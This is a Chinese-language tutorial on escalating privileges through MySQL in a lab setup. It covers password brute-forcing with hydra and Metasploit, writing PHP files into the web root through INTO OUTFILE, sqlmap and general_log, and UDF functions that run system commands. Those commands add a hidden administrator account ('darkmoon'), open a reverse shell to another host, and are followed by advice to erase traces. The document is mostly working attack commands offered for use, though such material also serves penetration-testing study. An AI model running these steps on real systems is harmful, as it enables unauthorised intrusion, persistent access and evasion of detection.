Mysql环境下的提权方式小结
字数 1015 2025-08-11 17:40:22
MySQL环境下的提权方式详解
一、环境搭建
-
测试环境配置:
- 靶机系统:Windows 7
- 数据库环境:phpstudy搭建的MySQL
- IP地址:192.168.153.132
-
配置MySQL远程连接:
-- 查看当前用户及host SELECT host,user FROM user; -- 将root用户改为任意IP可登录 UPDATE user SET host='%' WHERE user='root';
二、权限获取方法
1. 数据库操纵权限获取
MySQL弱口令爆破
-
使用nmap探测3306端口:
nmap -sV 192.168.153.132 -
使用hydra爆破:
hydra -l root -P pass.txt 192.168.153.132 mysql -
使用Metasploit爆破:
msfconsole search mysql_login use auxiliary/scanner/mysql/mysql_login set RHOSTS 192.168.153.132 set USERNAME root set PASS_FILE /path/to/passwords.txt run
2. Shell权限获取
通过outfile写入shell
前提条件:
- secure_file_priv无限制
- 具有写权限
secure_file_priv值说明:
- NULL:不允许导入或导出
- /tmp:只允许在/tmp目录导入导出
- 空:不限制目录
写入方法:
SELECT '<?php phpinfo(); ?>' INTO OUTFILE '/var/www/html/info.php';
使用sqlmap写入:
sqlmap -u "http://x.x.x.x/?id=x" --file-write="/path/to/shell.php" --file-dest="/var/www/html/shell.php"
通过日志写shell
适用于MySQL 5.0+版本
操作步骤:
-- 开启general_log
SET GLOBAL general_log='on';
-- 设置日志文件路径
SET GLOBAL general_log_file='/var/www/html/shell.php';
-- 写入PHP代码
SELECT '<?php phpinfo(); ?>';
三、提权方法
1. UDF提权
UDF(User-Defined Function)是MySQL的拓展接口,用于创建自定义函数。
手工提权步骤
-
动态链接库要求:
- MySQL >= 5.1版本需将UDF文件放在
lib\plugin目录下
- MySQL >= 5.1版本需将UDF文件放在
-
创建命令执行函数:
CREATE FUNCTION sys_eval RETURNS STRING SONAME "lib_mysqludf_sys.dll";
常用函数:
sys_eval:执行任意命令并返回输出sys_exec:执行任意命令并返回退出码(无回显)sys_get:获取环境变量sys_set:创建或修改环境变量
- 常用操作:
-- 创建cmdshell函数
CREATE FUNCTION cmdshell RETURNS STRING SONAME 'moonudf.dll';
-- 添加管理员用户
SELECT cmdshell('net user darkmoon 123456 /add & net localgroup administrators darkmoon /add');
-- 查看用户
SELECT cmdshell('net user');
-- 查看端口
SELECT cmdshell('netstat -an');
-- 查看创建的函数
SELECT name FROM mysql.func;
-- 删除函数
DELETE FROM mysql.func WHERE name='cmdshell';
-- 创建反弹shell函数
CREATE FUNCTION backshell RETURNS STRING SONAME 'moonudf.dll';
-- 执行反弹
SELECT backshell('192.168.157.130',12345);
-- 删除反弹函数
DELETE FROM mysql.func WHERE name='backshell';
- 处理plugin目录不存在的情况:
- 在MySQL目录下新建
lib/plugin文件夹
- 在MySQL目录下新建
工具提权
-
暗月脚本提权:
- 需要plugin目录存在
- secure_file_priv必须为空(不为NULL)
-
sqlmap提权:
sqlmap -d "mysql://root:root@192.168.153.132:3306/mysql" --os-shell- 要求secure_file_priv为空
-
Metasploit提权:
- 适用于MySQL 5.5.9以下版本
四、关键注意事项
-
secure_file_priv设置:
- MySQL 5.5之前默认空(可任意写文件)
- MySQL 5.5之后默认NULL(不可写文件)
-
版本限制:
- UDF提权在MySQL 5.5.9以下版本更易成功
- 日志写shell需要MySQL 5.0+版本
-
权限要求:
- 需要具有FILE权限
- 需要目标目录可写
-
清理痕迹:
- 使用后及时删除创建的函数
- 恢复general_log设置
通过以上方法,可以在MySQL环境下实现从数据库权限获取到系统提权的完整过程。实际应用中需根据目标环境的具体配置选择合适的方法。